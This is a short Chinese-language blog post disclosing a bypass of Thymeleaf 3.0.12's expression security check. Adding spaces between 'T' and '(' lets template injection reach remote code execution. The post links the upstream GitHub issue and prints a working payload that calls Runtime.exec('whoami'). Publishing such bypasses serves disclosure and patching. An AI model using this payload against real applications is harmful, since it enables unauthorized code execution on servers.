Thymeleaf 3.0.12 RCE Bypass

# Thymeleaf 3.0.12 RCE Bypass

问题详情可以见:https://github.com/thymeleaf/thymeleaf/issues/828

通过更改表达式可以进行绕过安全检查,在T和(之间添加若干个空格字符即可绕过检查进行RCE。

Payload:

“`
${T (java.lang.Runtime).getRuntime().exec(“whoami”)}

“`

官方issue:https://github.com/thymeleaf/thymeleaf/issues/828

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容